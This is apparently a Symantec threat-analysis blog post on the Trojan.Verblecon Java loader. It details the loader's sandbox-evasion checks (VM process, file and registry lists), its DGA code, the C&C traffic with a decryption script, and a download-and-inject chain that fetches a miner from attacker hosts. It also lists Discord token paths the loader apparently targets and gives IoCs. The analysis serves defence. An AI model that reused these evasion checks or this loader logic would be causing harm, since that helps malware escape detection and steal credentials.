Verblecon: Sophisticated New Loader Used in Low-level Attacks

By About the Author

Archived: 2026-04-06 01:09:44 UTC

An unknown attacker is using a complex and powerful new malware loader in relatively unsophisticated and low-reward attacks, indicating they may not realize the potential capabilities of the malware they are deploying.

The malware, Trojan.Verblecon, is being used in attacks that appear to have installing cryptocurrency miners on infected machines as their end goal. There are some indications the attacker may also be interested in stealing access tokens for chat app Discord. However, the capabilities of this malware indicate that it could be highly dangerous if leveraged in ransomware or espionage campaigns.

Verblecon was first spotted by analysts from Symantec, a division of Broadcom Software, in January 2022. This blog will detail the capabilities of the malware.

Technical breakdown

The malware is loaded as a server-side polymorphic JAR file. The fact that the file is polymorphic means that, due to encryption and obfuscation, the code of the malware payload looks different each time it is downloaded. Attackers generally pack malware in this way in an effort to evade detection by security software.

The malware samples analyzed by Symantec were fully obfuscated, in the code flow, strings, and symbols. The samples themselves may be based on publicly available code.

Once started, the malware checks its command-line arguments. It requires at least one command-line argument to execute, which could be the infection or campaign ID initially e.g.

"CSIDL_SYSTEM_DRIVE\program files\java\jre1.8.0_301\bin\javaw.exe" -jar "CSIDL_PROFILE\appdata\local\temp\rpvbh.jar" masonkhonsari

and

"CSIDL_SYSTEM_DRIVE\program files\java\jre1.8.0_301\bin\javaw.exe" -jar "CSIDL_PROFILE\appdata\local\temp\rpvbh.jar" 923ec15ffa4474ca7bf200bfb90e782d

Additionally, it also attempts to determine if its own process is being debugged by checking for the following Java command-line arguments:

- "-xbootclasspath"
- "-xdebug"
- "-agentlib"
- "-javaagent:"
- "-xrun:"
- "-verbose"
- "-agentpath:"

Next, it attempts to detect if it is being opened in a virtual or sandbox environment, which would indicate it is likely being opened on a security researcher's machine.

First, it checks for the following directories:

- "%ProgramFiles(X86)%\VMware\VMware Tools"
- "%ProgramFiles(X86)%\Oracle\VirtualBox Guest Additions"

It also obtains the machine MAC address and attempts to check for the following prefixes, which may indicate the file is being opened on a virtual machine:

- "00:05:69"
- "00:0C:29"
- "00:1C:14"
- "00:50:56"
- "08:00:27"
- "00:16:3E"
- "00:1C:42"
- "0A:00:27"

Following those checks, it executes the following command to obtain a list of running processes:

- tasklist.exe /fo csv /nh

It then appears to check these processes against a set list:

- "vboxservice.exe"
- "vboxtray.exe"
- "xenservice.exe"
- "vmtoolsd.exe"
- "vmwaretray.exe"
- "vmwareuser.exe"
- "vgauthservice.exe"
- "vmacthlp.exe"
- "vmsrvc.exe"
- "vmusrvc.exe"
- "prl_cc.exe"
- "prl_tools.exe"
- "qemu-ga.exe"
- "vmcomputeagent.exe"
- "sandboxie"
- "vdagent"
- "vdservice"
- "fiddler"
- "joeboxserver.exe"
- "joeboxcontrol.exe"
- "blnsvr.exe"

It then also checks for the following files:

- "%Windows%\system32\windanr.exe"
- "%Windows%\system32\drivers\VBoxMouse.sys"
- "%Windows%\system32\drivers\VBoxGuest.sys"
- "%Windows%\system32\drivers\VBoxSF.sys"
- "%Windows%\system32\drivers\VBoxVideo.sys"
- "%Windows%\system32\vboxdisp.dll"
- "%Windows%\system32\vboxhook.dll"
- "%Windows%\system32\vboxmrxnp.dll"
- "%Windows%\system32\vboxogl.dll"
- "%Windows%\system32\vboxoglarrayspu.dll"
- "%Windows%\system32\vboxoglcrutil.dll"
- "%Windows%\system32\vboxoglerrorspu.dll"
- "%Windows%\system32\vboxoglfeedbackspu.dll"
- "%Windows%\system32\vboxoglpackspu.dll"
- "%Windows%\system32\vboxoglpassthroughspu.dll"
- "%Windows%\system32\vboxservice.exe"
- "%Windows%\system32\vboxtray.exe"
- "%Windows%\system32\VBoxControl.exe"
- "%Windows%\system32\Drivers\Vmmouse.sys"
- "%Windows%\system32\Drivers\vm3dgl.dll"
- "%Windows%\system32\Drivers\vmdum.dll"
- "%Windows%\system32\Drivers\vm3dver.dll"
- "%Windows%\system32\Drivers\vmtray.dll"
- "%Windows%\system32\Drivers\VMToolsHook.dll"
- "%Windows%\system32\Drivers\vmmousever.dll"
- "%Windows%\system32\Drivers\vmhgfs.dll"
- "%Windows%\system32\Drivers\vmGuestLib.dll"
- "%Windows%\system32\Drivers\VmGuestLibJava.dll"
- "%Windows%\system32\Driversvmhgfs.dll"
- "[java.lang.System.getProperty("user.home")]\Desktop\moutonheart.wav"

Next, it appears to check the user name against the following:

- java.lang.System.getProperty("user.name") == "WDAGUtilityAccount"
- java.lang.System.getProperty("user.name").startsWith("hal-")

Then it executes the following command:

- reg query "HKU\S-1-5-19"

It is unclear how the output is processed, however, there are some strings that could be related to this or other registry checks:

- "HARDWARE\ACPI\DSDT\"
- "HARDWARE\ACPI\FADT\"
- "HARDWARE\ACPI\RSDT\"
- "SOFTWARE\Oracle\"
- "SYSTEM\ControlSet001\Services\"
- "SYSTEM\ControlSet001\Services\"
- "SOFTWARE\Microsoft\Virtual Machine\Guest\"
- "SOFTWARE\VMware, Inc.\"
- "SOFTWARE\"
- "VBOX__"
- "VBOX__"
- "VirtualBox Guest Additions"
- "VBoxGuest"
- "VBoxMouse"
- "VBoxService"
- "VBoxSF"
- "VBoxVideo"
- "Parameters"
- "VMware Tools"
- "Wine"

If satisfied with these checks, it may copy itself as one of the following files:

- "%ProgramData%[INFECTION_ID][INFECTION_ID].jar"
- "%ALL_USERS_HOME%[INFECTION_ID][INFECTION_ID].jar"
- "%LOCALAPPDATA%[INFECTION_ID][INFECTION_ID].jar"

And then create one of the following files to use as a loadpoint:

- "%HOMEPATH%\Library\LaunchAgents[INFECTION_ID].plist"
- "%Windows%\System32\Tasks[INFECTION_ID]"

[INFECTION_ID] is computed as follows:

- hashlib.md5(b"%PROCESSOR_IDENTIFIER%%COMPUTERNAME%[USER_NAME]").hexdigest()

Then it periodically attempts to connect to the following URLs:

- "hxxps://gaymers[.]ax/"
- "hxxp://[DGA_NAME][.]tk/"

[DGA_NAME] is apparently generated using the following method:

```
import datetime import hashlib def dga(day): seed = bytes(day.strftime("%Y-%m-%d"), "ascii") + b"verble" md5 = hashlib.md5(seed) return md5.hexdigest() print(dga(datetime.date.today()))
```

The traffic generated by the malware looks like this:

```
POST / HTTP/1.1 User-Agent: VerbleConnectTM Content-Type: application/x-www-form-urlencoded charset: utf-8 Cache-Control: no-cache Pragma: no-cache Host: gaymers.ax Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Content-Length: 2 k=
```

The server response appears as the below. Some of the strings in this response indicate that the attacker may be leveraging legitimate Cloudflare infrastructure to host some of their C&C infrastructure.

```
HTTP/1.1 200 OK Date: Fri, 28 Jan 2022 21:27:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="hxxps://report-uri[.]cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints": [{"url":"hxxps:\/\/a.nel.cloudflare[.]com\/report\/v3?s=IoiU38KEKgi24kr9QHrmWg%2F%2B7pJc7jkKFghTxjGEGnFLDYDVtn0jrsN5FVkZrQAb9XUJlyEAjfQM%2BZ%2FJVPN4wTrU6Otancwny335hs3uyGy6DoE%2B9nl8eKz9mdDr" nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6d4d4e246b68cdab-CDG alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 3c0
J2dHYN2DE/N7JQj5ZdxyMVjISfLstuKFQjzMhEcxqaTQvAb3hpYZXlGHMn3mSoG3++twgiJEAjadSFco/P7qgd9mZz+4rzTksF23RJ0BsTRzH7Z2tAF0b62gwh+jTVgeupvenZoqw
0
```

The server response body above is an encrypted blob that contains a URL signed with an RSA key. This blob can be decrypted and validated as follows:

```
#!/usr/bin/python3 import Crypto.Cipher.AES import Crypto.Hash.SHA256 import Crypto.PublicKey.RSA import Crypto.Signature.pkcs1_15 import Crypto.Util.Padding import base64 # from sample aes_key = b"cYIoouG6CRk3ds6dZAfRdQOomHfxOFJ6" aes_iv = b"FjP2PQfztKZ7vKxL" rsa_certificate = "MIIFazCCA1OgAwIBAgIUQDUa4ddMSiYJ+8dB2v1yF6kfWsQwDQYJKoZIhvcNAQELBQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVy def disect_response(body): decoded_body = base64.b64decode(body) cipher = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_CBC, IV=aes_iv) decrypted_body = cipher.decrypt(decoded_body) signed_message = Crypto.Util.Padding.unpad(decrypted_body, cipher.block_size) message, signature = signed_message.rsplit(b"@") print("message:", message) print("signature:", signature) rsa_public_key = Crypto.PublicKey.RSA.import_key(base64.b64decode(rsa_certificate)) rsa_verifier = Crypto.Signature.pkcs1_15.PKCS115_SigScheme(rsa_public_key) message_hash = Crypto.Hash.SHA256.new(message) rsa_verifier.verify(message_hash, base64.b64decode(signature)) print("signature verification: PASS") disect_response("J2dHYN2DE/N7JQj5ZdxyMVjISfLstuKFQjzMhEcxqaTQvAb3hpYZXlGHMn3mSoG3++twgiJEAjadSFco/P7qgd9mZz+4rzTksF23RJ0BsTRzH7Z2tAF0b62g
```

The malware then starts communicating with the decoded URL by sending details about the infected computer:

```
POST /mafia/login.php HTTP/1.1 User-Agent: VerbleConnectTM Content-Type: application/x-www-form-urlencoded charset: utf-8 Cache-Control: no-cache Pragma: no-cache Host: gaymers.ax Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Content-Length: 291 id=il~aSS_3ZNaXHMGXLExSyzp6xMrxMB7zCw1zFndLA87jjqd0tPsFqY31LF65YGEt&os=5i1E5v8J8fUqwpvNWkN6QQ&pv=6qWqTXHlWudJmSz_fuWcBA&ip=VfseCVZvINz5rC
```

The request body contains the following information about the infected machine in encrypted form:

- "id" is [INFECTION_ID
- "os" is OS version, e.g. "Windows 10"
- "pv" is "Admin" when running with Administrator privileges
- "ip" is JAR pathname
- "cn" is "[USER_NAME]@[COMPUTERNAME]"
- "lr" has value "00:00:00"
- "ct" has value "0"
- "bv" has value "v1.0.0"

The server has been observed to respond as follows:

```
HTTP/1.1 200 OK Date: Fri, 28 Jan 2022 21:29:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="hxxps://report-uri[.]cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints": [{"url":"hxxps:\/\/a.nel.cloudflare[.]com\/report\/v3?s=JE2u6s575flQq%2BEumTamotRln2IsYdLgqtQHy0tGJwQp9tuxhWThqxtCzsMG6vVgc%2Fa76jGYsP8hb68S3hKu8Q5lm6H2iIYElyVHw4WOcGSLqi%2FLR6AX5RcYlsXd"}],"nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6d4d50f69c993a8d-CDG alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 98 Rc0OiT8tzq68CmJ7bi0SMLtCQQH8bjxlid0OONwvn+x9g2ku8Ocfx+lT+TZXBzLC9/K7hJ/efOYWz9e1HC3KrRkQoh3OTZezXIOhJ6gTRPiLeqDgCGT79FcFqm7SFEDPHl1NpR14d0
```

Where the response body can be decrypted as follows:

```
newtask:1:Mw==:YUhSMGNITTZMeTlxYjI1aGRHaGhibWhoY21SM2FXTnJMbTFsTDJoaGNtUjNhV05yTG1waGNuNXpkR0Z5ZEE9PQ==
```

The last term above contains the following string:

- hxxps://jonathanhardwick[.]me/hardwick.jar~start

Some samples of the malware are seen communicating with the following servers:

- gaymers[.]ax
- 6f3af6ffb074513b51bba688a0b41df7[.]tk

Communication between the malware and servers is over HTTP or HTTPS and this communication appears to culminate with victims being directed to connect to the following:

```
POST /mafia/login.php HTTP/1.1 User-Agent: VerbleConnectTM Content-Type: application/x-www-form-urlencoded charset: utf-8 Cache-Control: no-cache Pragma: no-cache Host: gaymers.ax Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Content-Length: 291 id=il~aSS_3ZNaXHMGXLExSyzp6xMrxMB7zCw1zFndLA87jjqd0tPsFqY31LF65YGEt&os=5i1E5v8J8fUqwpvNWkN6QQ&pv=6qWqTXHlWudJmSz_fuWcBA&ip=VfseCVZvINz5rC
```

The payload is downloaded from the URL observed earlier:

- hxxps://jonathanhardwick[.]me/hardwick.jar

The payload is obfuscated in a similar way to the other samples, and also contains similar techniques to detect the virtualization environment, as well as other functionality.

The core functionality is to download and execute a binary blob from the following URL:

- hxxps://jonathanhardwick[.]me/hardwick.bin

The blob is decrypted along with *.bin artifacts from the same host. The downloaded blob is then cached on the local filesystem (in re-encrypted form) and injected into %Windows%\SysWow64\dllhost.exe for execution.

The injection is performed using com.sun.jna and doesn't use usual APIs for injection.

The final payload (hardwick.bin) contains the following embedded URL pointing to a configuration file for a cryptocurrency miner:

- hxxps://jonathanhardwick[.]me/config[.]txt

This indicates that the purpose of this activity was to install cryptocurrency mining software on victim machines.

What is the goal of this campaign?

The evidence found on victim networks appears to indicate that the goal of the attacker was to install cryptocurrency mining software on victim machines. This would appear to be a relatively low-reward goal for the attacker given the level of effort that would have been required to develop this sophisticated malware.

There are also indications that the attacker may be stealing Discord tokens and using these to advertise Trojanized videogame applications.

We suspect they were stealing Discord tokens because some of the obfuscated strings refer to pathnames that are apparently related to Discord clients, specifically:

- "AppData\Roaming\discordcanary\Local Storage\leveldb"
- "AppData\Roaming\discordptb\Local Storage\leveldb"
- "Library\Application Support\discord\Local Storage\leveldb"
- "Library\Application Support\discordcanary\Local Storage\leveldb"
- "Library\Application Support\discordptb\Local Storage\leveldb"
- ".config\discordcanary\Local Storage\leveldb"
- ".config\discordptb\Local Storage\leveldb"

Discord is a group chatting app that is particularly popular among the gaming community. Advertising Trojanized videogame applications via Discord is likely a redistribution channel for Trojan.Verblecon.

Could this be used to distribute ransomware?

Most of the infections we saw where this malware was used were on non-enterprise machines; we rarely see ransomware deployed on non-enterprise machines.

Previous reports have connected related domains to a single occurrence of ransomware, but the infrastructure may be shared with an unrelated actor. The similarities between that incident and the activity we observed includes:

- The use of “verble” in the domain name
- The downloading of shellcode for execution
- Similar obfuscation

However, we do not have enough evidence to draw a definitive link between both these sets of activity.

Power in the hands of an inexperienced actor?

The activity we have seen carried out using this sophisticated loader indicates that it is being wielded by an individual who may not realize the capabilities of the malware they are using. However, if it fell into the hands of a more sophisticated actor the potential is there for this loader to be used for more serious attacks, including potentially ransomware and espionage campaigns.

Protection

File-based

- Trojan.Verblecon

For the latest protection updates, please visit the Symantec Protection Bulletin.

Indicators of Compromise (IoCs)

If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.

32a9415daa7f37a93dd0b347461844673c0f5baf0c15c01ee48b147dadf28299

3688c249774cc9a28d2b9b316921cec842bb087c57f4733cf5866226fbe2aeed

5a4f6332ad08b35c055bb5e6dfddc79d2f7905e63fac7595efbedd0b27f12eb8

007f5898c52c3aa1c3dca6d3a30f28f5f72d9789fbb440ae656d88959f68e53e

f3f4af5f5eae1a28ad5a01b56d71302a265bce17d2c87ce731edf440612818a6

hxxp://verble[.]software/styles.jar

hxxps://jonathanhardwick[.]me/hardwick.jar

hxxps://jonathanhardwick[.]me/hardwick.bin

hxxps://jonathanhardwick[.]me/config.txt

hxxp://test.verble[.]rocks/dorflersaladreviews.jar

hxxp://test.verble[.]rocks/dorflersaladreviews.bin
